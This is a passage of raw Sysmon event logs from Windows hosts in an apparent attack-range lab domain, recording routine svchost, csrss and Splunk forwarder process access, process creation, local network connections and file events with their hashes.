14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014733Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014732Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-707B-613B-B704-00000000F101}1116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014731Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-707B-613B-B704-00000000F101}1116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014730Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.726{625C326B-707B-613B-B704-00000000F101}1116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000047022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:31.992{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=335EF06E459039798E739493898E97F7,SHA256=C874A8A17F929960B07A3DF1F2D03B568E6160180D8BCECB3DA5C7B84547033F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:29.528{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59365-false10.0.1.12-8000- 354300x800000000000000047020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:28.904{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59364-false10.0.1.12-8089- 23542300x800000000000000047019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:31.055{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5497D7F662686EF7942D75FD43BA8721,SHA256=CDD686E29F35CD61BC1F9B4B350541CD6C60A83B9F14BEA43AA96B66F8D5BB0D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:32.087{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FFB19E9929AAEE34D9A186768F224045,SHA256=6635CDC27D6A52BC93A389D2B2D1DB4259D4BF6D101EE53B6EA068FB6F399353,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014773Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-707C-613B-B904-00000000F101}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014772Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014771Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014770Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014769Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014768Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014767Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014766Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014765Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014764Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014763Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-707C-613B-B904-00000000F101}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014762Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.819{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-707C-613B-B904-00000000F101}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014761Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.820{625C326B-707C-613B-B904-00000000F101}1320C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014760Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.741{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5B7F15320229FF20A126D842CE5BC8C9,SHA256=333E9FF69B633BA865031CDF4101160DB3176090834EF4E09D292C005F23D128,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014759Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.741{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=B097F0669CE7936AD586D06D9BDD4285,SHA256=66E8E54420288C420A8CED5591D0493C41CA71E0FEC8151EC9FE76C596A0E6EE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014758Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.540{625C326B-707C-613B-B804-00000000F101}8601020C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014757Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-707C-613B-B804-00000000F101}860C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014756Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014755Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014754Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014753Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:32.319{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014752Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 